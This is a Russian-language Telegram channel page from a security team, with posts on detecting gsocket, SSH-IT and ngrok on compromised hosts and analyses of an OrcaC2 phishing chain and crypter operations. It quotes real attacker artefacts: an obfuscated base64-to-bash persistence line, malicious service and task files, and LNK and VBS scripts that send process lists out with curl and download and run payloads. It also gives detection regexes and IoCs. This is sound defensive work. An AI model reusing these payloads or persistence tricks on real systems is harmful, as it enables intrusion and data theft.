ESCalator
5.45K subscribers
325 photos
1 video
8 files
142 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Gsocket: как найти один из самых популярных инструментов 🙂

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.

Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.

🔦 Для обнаружения признаков установки инструмента можно искать следующее:

1️⃣ Сервис с именем D-Bus System Connection Bus:


systemctl | grep "D\-Bus System Connection Bus"


Пример:
EVILSERVICE.service                                                                    loaded active running   D-Bus System Connection Bus


2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:

'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'


egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /


👀 Пример (service-файл):


Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"

[Install]
WantedBy=multi-user.target


👀 Пример (.bashrc):


# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
....


📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.

📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#DFIR #detect #hacktool #tips #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22🔥64
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍7💯62💩1🦄1
Ngrok. Находим и разбираемся 🔍

В процессе расследования множества инцидентов мы неоднократно встречаем такой инструмент, как ngrok. Это удобный легитимный инструмент для прокидывания сетевых туннелей для администраторов.

Он стал очень популярен у злоумышленников, которые, как правило, устанавливают RDP-соединения, и мы настоятельно рекомендуем поискать ngrok у себя в инфраструктуре.

Несколько рекомендаций по поиску признаков использования ngrok на узлах:

1️⃣ Наличие файла с именем ngrok.yml или директорий ngrok, .ngrok2, которые, как правило, имеют следующие файловые пути:


C:\Users\<username>\.ngrok2\ngrok.yml
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\ngrok\ngrok.yml
C:\Windows\SysWOW64\config\systemprofile\.ngrok2\ngrok.yml


2️⃣ Наличие файла *.yml, в котором встречаются строки по следующим паттернам:


'version\: \"[0-9]+\"'
'authtoken\: [a-z0-9_]{49}'


Пример (ngrok.yml):

version: "2"
authtoken: 5U87lkcqEFeZ0sJ7Hg66aXkkrO4_K9EpjQHkJMkTg0R96pu64


3️⃣ Наличие строки ::%16777216 в качестве адреса сети источника в журналах сетевых подключений:


C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx


4️⃣ Наличие файла планировщика заданий Windows, через который осуществляется закрепление на узле и в котором могут встречаться строки по следующим паттернам:

'<Arguments>tcp [0-9]+</Arguments>'
'<Arguments>tcp [^ ]+\:[0-9]+ \-\-authtoken [a-z0-9_]{49}</Arguments>'


Пример 1 (C:\Windows\System32\Tasks\Microsoft\Windows\Microsoft\Monitor):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="https://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\Microsoft\1.exe</Command>
<Arguments>tcp 3389</Arguments>
</Exec>
</Actions>
</Task>


Пример 2 (C:\Windows\System32\Tasks\updater):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="https://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\ProgramData\1.exe</Command>
<Arguments>tcp poc.opi.rtyo.ru:22 --authtoken qr7pKMAgTp5nfT0HTwh21sb9VsF_FwX3xkNuQqJE7MBh0gUj8</Arguments>
<WorkingDirectory>C:\ProgramData</WorkingDirectory>
</Exec>
</Actions>
</Task>


📌 Чтобы обнаружить признаки наличия инструмента на периметре, можно поискать узлы, взаимодействующие со следующими серверами:


ngrok.com
ngrok-agent.com
ngrok.io
*.equinox.io


#tip #detect #hacktool #dfir
@ptescalator
👍23🔥11👏5
Лок'тар огар! 👺

В современном мире атаки, направленные на получение первоначального доступа, стали более сложными. Злоумышленники используют многоступенчатую полезную нагрузку, что позволяет им постепенно продвигаться к своей цели, не вызывая подозрений, и увеличивает шансы на успех атаки.

Одним из наиболее популярных механизмов для инициации такой атаки являются LNK-файлы. При их запуске начинается выполнение цепочки скриптов, каждый из которых запускает следующий элемент цепочки, скачивая его с удаленного узла или распаковывая из собственных ресурсов.

🔗 В качестве характерного примера рассмотрим одну такую цепочку. Наше внимание она привлекла несколькими факторами:

1️⃣ Использование легитимного ресурса как хоста для полезной нагрузки.

2️⃣ Использование необычного фреймворка в качестве полезной нагрузки (необычного в том смысле, что до этого мы ни разу не видели его в атаках).

В ходе исследования наш отдел нашел ZIP-архив — вложение для фишингового письма, представленного на скриншоте выше. Внутри — два документа и LNK-файл со скриптом. Содержимое скрипта показано ниже (домен, с которого скачивалась нагрузка, намерено изменен):

"C:\Windows\System32\conhost.exe"
conhost conhost cmd /c expand C:\Windows\system32\curl.exe C:\Users\public\Downloads\cl.exe & tasklist |
curl -k -X POST --data-binary @- -A "PLMN ~%date% ~%time%" https://example.com -o C:\Users\public\Downloads\No15.vbs
&& wscript C:\Users\public\Downloads\No15.vbs


Любопытно, что полезная нагрузка скачивается с легитимного домена российской образовательной организации. По всей видимости, злоумышленники заранее взломали учреждение и начали использовать его ресурсы для своих атак.

🕵️‍♂️ Цепочка атаки раскрывается следующим образом:

-> LNK-файл.
-> Скрипт No15.vbs. Он собирает сведения об установленных антивирусах и скачивает .exe. Код скрипта:

Set oj = CreateObject("WScript.Shell")
oj.Run "cmd /c curl -k https://example.com
fileid=PLMN -o C:\Windows\temp\2024_Determination_to_initiate_a_case.docx
C:\Windows\temp\2024_Determination_to_initiate_a_case.docx", 0, False
oj.Run "cmd /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
C:\Users\Public\Downloads\cl.exe -k -X POST --data-binary @- https://example.com
get=1PLMN1731912032 -o C:\Users\public\Downloads\libPLMN1731912032.exe",0,True
oj.Run "C:\Users\public\Downloads\libPLMN1731912032.exe"


-> libPLMN1731912032.exe — исполняемый файл, написанный на языке Go, сборка пакета которого имеет название Pinocchio. Именно этот бинарь и является сборкой клиента (в терминологии проекта — puppet) OrcaC2.

🧐 Далее приведем описание основной функциональности:

• Удаленное выполнение команд.
• Загрузка и выгрузка файлов.
• Кейлоггер + снятие скриншотов экрана.
• Прямой и обратный прокси-сервер.
• Коммуникация через WebSocket.

На самом деле возможностей у OrcaC2 куда больше. Подробный список можно найти в GitHub-репозитории проекта (осторожно, README написан на китайском языке).

Сам же фреймворк разделяется на три «модуля»:

Puppet — клиентская часть, запускается на устройстве жертвы.
Master — подключается к серверу, через него управляет клиентами.
Server — связующее звено между Pupper и Master.

IoCs:

46c0fd35e4699265db0223cee00b3da48ec157e2d7a51590c87b077918f76d5b — ZIP-архив.
88aa1bd65a6ff5d92ac7041e9685c20e08286709971881660df9c0f4a04c06db — LNK-файл.
0ed459cf2682b12d95613ca8f1f1b9d71bcc529c681f8a2a0ec347bba7d8f4b6 — скрипт No15.vbs.
601f00162583c82d933ad27ec6b3f900d2efde81a1f4cf3724e5cfc4875305cb — libPLMN1731912032.exe.
https://45.147.200.38:443 — C2-сервер.


#hacktool #phishing #ioc #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍157
Что скрывает от нас стеганографическая мафия? 👤

В ноябре 2024 года мы рассказывали вам про группировку PhaseShifters и тогда же упомянули про используемый криптор по подписке — Crypters And Tools. Наше исследование не остановилось просто на изучении группировок, мы пошли дальше.

Продолжение истории про Crypters And Tools привело нас к следующей статистике:

📩 Примерно 3000 вредоносных документов и исполняемых файлов.

🗺 Почти 100 атакуемых стран.

👥 Как минимум три группировки, использующие Crypters And Tools для подготовки своих атак.

🟣 Около 50 сетевых индикаторов, принадлежащих инфраструктуре самого криптора.

🔫 Десятки исследованных аккаунтов в социальных сетях, связанных с криптором, более 100 просмотренных медиафайлов.

О том, как работает криптор, кто и как его использует, вы можете прочитать в первой части нового исследования в нашем блоге.

#TI #APT #hacktool
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥118❤‍🔥2
Реально тонкое взаимодействие 🕊

В ходе реверс-инжиниринга протокола одного из бразильских банковских троянов обнаружилось использование интересного сетевого фреймворка — RealThinClient. Процесс общения между клиентом и сервером в этом фреймворке построен на сериализации структур вызова функции в строковый формат и их последующей десериализации на другой стороне. Это делает RTC не только мощным инструментом разработки, но и удобной платформой для скрытого обмена командами — например, в случае малварного поведения.

Сначала клиент и сервер проходят через кастомное рукопожатие, в ходе которого устанавливаются ключи шифрования и дешифрования для обеих сторон. После этого фреймворк предоставляет возможность выполнять функции на стороне как клиента, так и сервера.

Перейдем сразу к примеру и на нем разберемся в логике работы инструмента. Клиент хочет залогиниться на сервере и отправляет запрос, как на скриншоте.

Что здесь происходит

1. Клиент формирует запрос:

Устанавливает параметр FC (function call) в значение Login.

Добавляет параметры: логин, пароль и id. Они передаются в виде структуры-словаря RE=3 (record), содержащей ключи user, pwd, id и т. п. В user можно передать зашифрованный малварный запрос. RE обозначает тип rtc_Record — это структура вида «ключ:значение», аналогичная словарю или JSON-объекту.

• На стороне Delphi это будет примерно так:

with FunctionCall.Param do
begin
asText['user'] := '...'; // rtc_Text
asText['pwd'] := ''; // rtc_Text
asString['id'] := '8DF313279CD34B81A3FB438708B4E8F1'; // rtc_String
end;


А при сериализации все это превратится в следующее:

RE=3;
user:T=...;
pwd:T=...;
id:S=...


📁 Когда мы вызываем удаленную функцию через RTC SDK, мы создаем объект TRtcFunctionInfo — это класс, который описывает удаленную вызываемую функцию, ее имя, параметры и результат выполнения. Он используется как на клиенте (для упаковки вызова), так и на сервере (для распаковки и выполнения). Объект TRtcFunctionInfo упаковывается в контейнер TRtcValue и сериализуется в строку или поток байтов.

TRtcValue может хранить любой поддерживаемый тип данных: строку, число, массив, запись, дату, вложенную функцию и т. п. Фактически он используется везде, где нужно передать или получить данные по сети, например в параметрах удаленной функции (Param.asValue[...]) или результатах выполнения функций (Result.asValue). Это делает его гибким, но и потенциально непрозрачным, что хорошо для скрытой передачи команд, особенно если используются вложенные структуры типа rtc_Function.

Перед отправкой запроса клиент регистрирует хендлер OnLoginResult для обработки результата выполнения функции на сервере.

2. Запрос отправляется на сервер RTC:

Сервер принимает HTTP-запрос и интерпретирует параметр FC как указание на то, какую функцию нужно вызвать.

На стороне сервера вызывается обработчик для функции Login. Выполняется Delphi-процедура, связанная с этим именем.

3. Сервер отвечает:

Результат функции возвращается клиенту, и он вызывает свой хендлер OnLoginResult для обработки полученного ответа.

Ответ сервера десериализуется обратно в TRtcValue, чтобы мы смогли снова получить доступ к его структуре. Сервер может вернуть не просто данные, а вложенный вызов функции. Это структура, поле в которой содержит rtc_Function, rtc_Record или rtc_Array, которые клиент десериализует и выполняет.

Например:

if xData.isType = rtc_Record then
ExecuteRec(xData.asRecord)
else if xData.isType = rtc_Array then
ExecuteArr(xData.asArray)


👾 Это может успешно использоваться в малвари: сервер возвращает зашифрованное описание команды, которую клиент должен выполнить. Таким образом, в легитимный RTC-поток можно прятать вполне себе вредоносное поведение.

#reverse #hacktool
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🤯127👍2
Как СaT запутал в клубке сразу несколько группировок? 🧶

Осенью 2024 года наше внимание привлек интересный инструмент, обнаруженный во время изучения активности группировки PhaseShifters. Это оказался криптор по подписке (CaaS) Crypters And Tools — мы уже подробно разбирали его в первой части исследования: как он работает, чем именно выделяется среди других и как устроена его инфраструктура.

Теперь же мы возвращаемся к теме APT-группировок, но фокус сместим на других злоумышленников — TA558, Blind Eagle и Aggah, чью деятельность мы рассмотрим более детально.

🐾 Какие группы точно использовали Crypters And Tools в своих атаках?

🔎 Насколько связаны между собой эти группировки, использующие CaT?

🇵🇰 Как Aggah поживает после 2022 года?

🧩 Как мы установили конкретных пользователей?

💥 Какие пользователи являются членами группы TA558 и причем тут negrocock?

🇳🇬 Из какой африканской страны разослали 60 тысяч писем и причем тут Crypters And Tools?

На эти и другие вопросы вы найдете ответы во второй части нашей статьи про Crypters And Tools.

#TI #APT #hacktool
@ptescalator
🔥22👍1210🗿2🤡1